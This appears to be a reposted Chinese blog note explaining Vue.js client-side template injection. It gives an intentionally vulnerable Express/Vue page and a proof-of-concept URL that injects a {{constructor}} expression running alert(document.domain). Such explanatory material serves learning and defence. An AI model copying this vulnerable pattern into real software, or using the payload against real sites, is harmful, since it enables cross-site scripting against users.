概述
漏洞详情
由于程序员代码编写不当,将导致用户输入的数据,可以改变客户端模版的执行逻辑,从而造成XSS漏洞。
漏洞影响
漏洞分析
漏洞编写模板如下:
const express = require('express');
const helmet = require('helmet');
const escapeHTML = require('escape-html');
const app = express();
app.use(helmet());
app.get('/', (req, res) => {
res.set('Content-Type', 'text/html');
const name = req.query.name
res.status(200).send(`<!DOCTYPE html>
<html>
<body>
<div id="app">
<h1>Hello ?name=${escapeHTML(name)}</h1>
</div>
<footer>
<a href="https://github.com/azu/vue-client-side-template-injection-example">Source Code</a>
</footer>
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>
<script>
new Vue({
el: '#app'
});
</script>
</body>
</html>`);
});
module.exports = app;
漏洞利用
POC:
hxxp://host/?name={{this.constructor.constructor('alert(document.domain)')()}}
参考:
https://github.com/azu/vue-client-side-template-injection-example
最后
以上就是风趣草丛为你收集整理的Vue.js 客户端模板注入漏洞的全部内容,希望文章能够帮你解决Vue.js 客户端模板注入漏洞所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复